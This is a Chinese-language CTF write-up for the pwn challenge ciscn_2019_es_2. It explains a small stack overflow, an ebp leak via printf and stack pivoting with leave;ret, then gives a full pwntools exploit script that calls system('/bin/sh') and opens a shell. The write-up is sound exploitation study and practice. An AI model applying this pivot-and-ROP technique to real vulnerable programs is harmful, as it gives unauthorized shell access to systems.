image.png
    还是栈不可执行,32位程序
    image.png
    漏洞这里挺明显的,s这个地方可以溢出,但是这里就又有问题了,read可以读入0x30字节数据而s到ebp的距离却只有0x28所以我们能填充的大小只有8字节,就是只能覆盖ebp和ret addr ,所以我们的rop链不能构造太长,所以这道题目需要我们栈迁移。
    下面还有个printf 打印出s的值,所以我们可以知道ebp里的内容,而ebp的内容是上个函数的ebp所以这样我们通过泄露这个就可以知道s在栈上的位置,那我们栈迁移就别迁移bss段了直接去s的位置好了。
    栈迁移的知识就是伪造ebp ,是通过leave和ret来完成的。
    leave = mov esp ebp + pop ebp
    ret = pop eip

    1. from LibcSearcher import LibcSearcher
    2. from pwn import *
    3. context.log_level = 'debug'
    4. io = process("./ciscn_2019_es_2")
    5. #io = remote("node4.buuoj.cn",28269)
    6. elf = ELF("./ciscn_2019_es_2")
    7. system_plt = elf.plt['system']
    8. leave_ret_addr = 0x08048562
    9. payload = 'a'*0x24+'bbb' #把ebp前填充完,printf碰到\x00就会停止,为什么3个b,sendline的原因,改send四个也行
    10. io.recvuntil('name?\n')
    11. io.sendline(payload)
    12. io.recvline("bbb")
    13. ebp_addr = u32(io.recv(4))
    14. s_addr = ebp_addr-0x38
    15. log.success('s_addr ==>'+hex(s_addr))
    16. bin_sh_addr = s_addr+4*4
    17. payload1 = b'aaaa' + p32(system_plt) +b'aaaa' +p32(bin_sh_addr) +b"/bin/sh\x00"
    18. payload1 = payload1.ljust(0x28,b"b")#让payload 0x28
    19. payload1 += p32(s_addr)+p32(leave_ret_addr)
    20. io.sendline(payload1)
    21. io.interactive()

    这种题目嘛,就是对基础很有考察,我基础感觉做下来还是有很多问题的。
    刷题确实帮助还是很大的。